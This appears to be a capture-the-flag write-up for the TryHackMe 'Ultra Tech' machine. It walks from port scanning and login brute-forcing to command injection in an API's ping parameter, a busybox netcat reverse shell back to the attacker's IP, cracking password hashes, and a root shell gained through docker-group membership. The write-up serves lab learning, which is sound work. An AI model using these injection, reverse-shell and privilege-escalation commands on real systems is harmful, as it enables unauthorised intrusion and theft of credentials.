Ultra Tech
Welcome to this write-up. Thanks to TryHackMe and lp1 for this Box!
This machine was very challenging for me, and I ran out of time once. I hope this write-up helps you.
Enumeration
First scan to find open ports:
nmap -p- -v -oN nmap/ports $IP
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8081/tcp open blackice-icecap
31331/tcp open unknown
Second scan to enumerate the ports from the first scan:
nmap -A -sC -v -p 21,22,8081,31331 -oN nmap/init $IP
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc668985e705c2a5da7f01203a13fc27 (RSA)
| 256 c367dd26fa0c5692f35ba0b38d6d20ab (ECDSA)
|_ 256 119b5ad6ff2fe449d2b517360e2f1d2f (ED25519)
8081/tcp open http Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-cors: HEAD GET POST PUT DELETE PATCH
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: 15C1B7515662078EF4B5C724E2927A96
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Nice, we can answer the first four questions already. Lets check out if apache is hosting anything on 31331 and lets also check if there is something hosted on 8081.
On 8081 there seems to be some kind of API of their own
UltraTech API v0.1.3
On 31331 we find their website, so lets run nikto and gobuster on both ports while we quickly explore the site manually.
nikto -p 31331 -h http://$IP
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /: Server may leak inodes via ETags, header found with file /, inode: 17cc, size: 584b2b811ebb3, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
nikto -p 8081 -h http://$IP
+ /auth/: This might be interesting.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
Gobuster is not done yet but I think we have enough to look at and to do some research for now...
gobuster dir -u http://$IP:31331 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,js,sh,cgi,py,txt,py,css
/.php (Status: 403) [Size: 293]
/.html (Status: 403) [Size: 294]
/images (Status: 301) [Size: 320] [--> http://10.10.91.79:31331/images/]
/index.html (Status: 200) [Size: 6092]
/partners.html (Status: 200) [Size: 1986]
/css (Status: 301) [Size: 317] [--> http://10.10.91.79:31331/css/]
/js (Status: 301) [Size: 316] [--> http://10.10.91.79:31331/js/]
/javascript (Status: 301) [Size: 324] [--> http://10.10.91.79:31331/javascript/]
/what.html (Status: 200) [Size: 2534]
/robots.txt (Status: 200) [Size: 53]
gobuster dir -u http://$IP:8081 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,js,sh,cgi,py,txt,py,css
/auth (Status: 200) [Size: 39]
/ping (Status: 500) [Size: 1094]
Seems like we have 2 routes, could be more...but lets try our luck.
Lets continue with manual enumeration and checking the results.
We start with the API
- /ping returns an error message that seems javascript related. I do not know js, so I skip this for now.
- /auth return 'You must specify a login and a password'
- I think #wp-config.php# which nikto returned was a false positive
Lets check the site now:
- /js leads to a folder containing 3 .js files: api.js, app.js and app.min.js
- partners.html, a login page we will look further into it
- the other results do not seem very interesting
Taking a quick look at the .js files... api.js is interesting. I took four lines:
function checkAPIStatus()
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
req.open('GET', url, true)
const interval = setInterval(checkAPIStatus, 10000)
I guess this function sends a GET request or a ping every 10 seconds to the api to check if it is alive. It looks like you can specify the ip with a query. We head back to the URL and test if we can ping our ip.
We set up a listener on our machine to catch icmp. We do this with tcpdump. You have to use the right interface, in my case I use tun0 because I use a Kali vm with vpn.
sudo tcpdump -i tun0 icmp
Then
http://10.10.91.79:8081/ping?ip=YOURIP
sudo tcpdump -i tun0 icmp -vv
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
05:55:02.473493 IP (tos 0x0, ttl 63, id 30433, offset 0, flags [DF], proto ICMP (1), length 84)
10.10.91.79 > YOURIP: ICMP echo request, id 5540, seq 1, length 64
05:55:02.473556 IP (tos 0x0, ttl 64, id 39413, offset 0, flags [none], proto ICMP (1), length 84)
YOURIP > 10.10.91.79: ICMP echo reply, id 5540, seq 1, length 64
Funny, but I do not yet know if this is useful. (The site also gives you feedback from the ping)
We head back to the site and take a look at the login page /partners.html
Inspecting the code, we can see at the bottom a familiar javascript being called:
<script src='js/api.js'></script>
Taking a look at the network traffic we see the pings every 10 seconds
Now for the login, admin:admin is always the way to go! Hit login and we get redirected to the API
http://10.10.91.79:8081/auth?login=admin&password=admin
My web skills are not that good, so we will try a good old brute force. I did not get it to work with hydra, this is what I tried:
hydra -l admin -s 31331 -I -P /usr/share/wordlists/rockyou.txt $IP http-get-form "/partners.html:login=admin&password=^PASS^:invalid credentials" -vv
This returns 16 passwords, which are also the first lines of rockyou. I guess the redirect to the API is causing trouble.
So I leave my slow burpsuite community edition brute force running in the background.
This can be done like so:
- Open burpsuite, open you browser and start intercepting
- enter the url with the query into the browser and hit enter (http://IP:8081/auth?login=admin&password=admin)
- Go back to your burpsuite window and right click the request that popped up, send it to the intruder
- Switch off intercepting and head to the intruder tab.
- The word between § are the ones that are replaces by other words during the attack. We clear § from admin like this:
GET /auth?login=admin&password=§admin§ HTTP/1.1
- Then head to the payloads tab and set payload type to "runtime file"
- chose a word list of you liking and start
We will head back to the other route /ping
If we take a look a the ping return, we can see that it actually uses the linux ping command, so maybe we can sneak in a little remote code execution.
http://10.10.190.1:8081/ping?ip=`whoami`
ping: www: Temporary failure in name resolution
Gotcha! <operavoice>REVSHELL INC!!!!</operavoice>
Reverse Shell
I spare you the checking, big thanks to revshells for the shells.
Very conveniently for our case you can pick URL encoding at the bottom.
Our payload:
busybox%20nc%20YOURIP%204444%20-e%20sh
Start a listener on you machine:
nc -lnvp 4444
http://10.10.190.1:8081/ping?ip=127.0.0.1;`busybox%20nc%20YOURIP%204444%20-e%20sh`
We are in. The next question is just an ls away.
Now we stabilize the shell, we can do this using python. To check for python we enter python3 --version or python --version, but both commands give no feedback...But worry not, we can execute python code directly in the cli like so:
python -c 'print "test"'
python3 -c 'print("test")'
test
Python3 it is. Thanks for the guide!
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press ctrl+z
stty raw -echo; fg
export TERM=xterm
Press enter
Checking out SQLite
So...I wasted a lot of time to see how I could check the database. I do not want to talk about it.
strings utech.db.sqlite
SQLite format 3
etableusersusers
CREATE TABLE users (
login Varchar,
password Varchar,
type Int
)
GETITYOURSELF :D
THISONETOO :P
We now have two users and two hashes.
Cracking the hashes
These look like md5 hashes, for the first one you have to remove the ")". This seems to be a formatting error.
echo 'YOURHASHHERE' > hash1
echo 'YOURHASHHERE' > hash2
hashcat hash1 -m 0 /usr/share/wordlists/rockyou.txt
hashcat hash2 -m 0 /usr/share/wordlists/rockyou.txt
Logging in with our new user and enumerating
It took a long time to get here for me so nothing manual, linpeas it is!
We hop in to /dev/shm
Host a python3 web server on our machine (linpeas should be in the same folder):
python3 -m http.server 9999
On our target machine we do the following:
wget http://YOURIP:9999/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Hello little pea! We do not have to wait for long, under the "Basic Information" header we see that our user is in the docker group.
Privilege Escalation
Off we go to gtfobins and search for docker.
Lets check for docker containers with:
docker ps -a
7beaaeecd784 bash "docker-entrypoint.s…" 3 years ago Exited (130) 3 years ago unruffled_shockley
696fb9b45ae5 bash "docker-entrypoint.s…" 3 years ago Exited (127) 3 years ago boring_varahamihira
9811859c4c5c bash "docker-entrypoint.s…" 3 years ago Exited (127) 3 years ago boring_volhard
Well the image used for those containers sounds promising, lets check if the image is still available with:
docker images
Yep it is.
On gtfobins we find:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Which should result in a shell, but since we have no connection to the internet and the image is not available locally, we try the bash image like so:
docker run -v /:/mnt --rm -it bash chroot /mnt sh
# whoami
root
Machine rooted.
Lets get the ssh key:
cd .ssh
cat id_rsa
firstlineofkey[:9]
congrats!